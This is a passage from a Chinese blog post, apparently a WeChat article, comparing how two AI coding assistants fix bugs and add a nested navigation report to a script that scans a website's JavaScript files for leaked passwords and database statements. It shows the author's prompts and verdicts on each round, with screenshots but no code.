left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">to灵码：敏感信息.txt里只有一个URL的内容</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">to云码道：babababababbabababablalalallalala(此处省略无数个报错信息）TypeError: cannot unpack non-iterable NoneType object修改这个报错</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第三次结果灵码已经实现所有功能</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3861111111111111" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038623" src="https://wechat2rss.xlab.app/img-proxy/?k=327bb267&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXJaCGZuCcGgPvb5vC4CqY66KicpZtplUQ2yMK4q1XKL3pWApJz8NKBt0BzNWNL9U4Zt8aENZVntFyu5lbUXGcqplljz6bAYHjc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">云码道：不报错了，但文件里还只有一个url</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4006024096385542" data-type="png" data-w="996" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038620" src="https://wechat2rss.xlab.app/img-proxy/?k=91c173eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXla7Z9QYBAZVx5LgQEVUGGMCoIPUEsvA6NiahbxcWIpNtibNNyZ4IHldZhENkbraficondeawFDYdtZQeZS1sv8UicjdHvoUWrCxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第四次对话（仅对云码道）：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">生成的敏感信息.txt和详细匹配报告.html里只有一个URL的内容，没有把其他扫描的信息保存下来，请修改并注意不要引起报错</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">结果失败，效果没有变化</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第五次对话（仅对云码道）：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">依旧没有把后续检测到的url内容保存下来，根据debug信息，最后合并时，检测的url是index1.html但是显示的确实如下balabalbalbala（此处省略无数个报错信息）</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">结果失败，效果没有变化。失去耐心，就这样吧</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0129032258064516" data-type="png" data-w="155" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038619" src="https://wechat2rss.xlab.app/img-proxy/?k=8aaef262&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXP94WCgleK43ovFVTsLq3JhFoVeNFIxxtcTGfowLYy7QxmLibFw0OOhORofq8Gm9yzO53dfnAicA43Hy3BV92IpkbB8iawOd4hRs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">对比一下两个的使用结果：</span></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7462932454695222" data-type="png" data-w="607" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038622" src="https://wechat2rss.xlab.app/img-proxy/?k=a7caf4e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWiaZAwxdicoJhgwicVUNXZ4VcdgLsvym8u2PWfbWq1NcHH91xUqdW4DO1HDnH4QOhTV0HtcmHgNcB4dF4XQwxiaoAUQmAvMuyXbSE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">3、利用AI实现第二个功能</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第一次对话：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">请修改程序生成的详细匹配报告.html，在左侧增加一个导航栏：一级目录按 URL 区分，二级目录按每个 URL 命中的标签（如密码泄露、数据库语句）区分，点击 URL 或标签能跳转到报告中的对应位置。</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第一次结果-都没有按url区分而是js文件名区分，可能是我表述问题 通义灵码结果</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3138888888888889" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038621" src="https://wechat2rss.xlab.app/img-proxy/?k=17f4137c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVrNu03OoD1XBkiauhe01RrnwiacjtUvwkiaGLKVqPOq01M5dZweMKfMoC6RCMR5AYXoITt81hgg7kEiaQswRBCbKnJ63BU53PYq6M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">云码道结果-没有目录折叠这个功能，个人不喜</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3277777777777778" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038624" src="https://wechat2rss.xlab.app/img-proxy/?k=0b137a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXC6gUibH1OrWj68icCHlmnYfCa17ZJdvEkyt97LzsVlJSSFibuB8ly4ufZofQjuzibrEUBknnNxNlFTRzBTfOugAdG2RqqLPyrYr4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第二次对话：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">再次修改这个功能，我希望是每个基础URL下的二级目录是才js路径，然后三级下是标签类型。比如我扫描的是<a href="http://1.com，该网站下有222.js，那么最后生成的html导航结构为一级目录http://1.com二级目录222.js三级目录是标签类型" target="_blank">http://1.com，该网站下有222.js，那么最后生成的html导航结构为一级目录http://1.com二级目录222.js三级目录是标签类型</a></span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第二次结果通义灵码成功实现</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4083333333333333" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038627" src="https://wechat2rss.xlab.app/img-proxy/?k=ac45e865&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVcGWrXyfqaDazZ3O0fmme4AekkgX5KtbCqfgfcIsXwd5Woq1IDgrn9LWYFZGjX0stR4oEiamzgxmXsn0nEYpVPsnLlbyibNpwsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">云码道报错！</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2589595375722543" data-type="png" data-w="865" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038625" src="https://wechat2rss.xlab.app/img-proxy/?k=d252b34f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVRkWEsZvsYVJ2xFA4nSU9DFQyqq0TkRvETS9bPbxo5yy9ic32ic3EOOX13iaaASfw5Y19ZVhuvXPcQ2VLDPpsyF2V7ld2UcF0ibbk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第三次对话（仅对云码道）：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">程序报错Traceback (most recent call last): balabalabala此处省略无数个报错信息）</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第三次结果-云码道成功！</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.38333333333333336" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 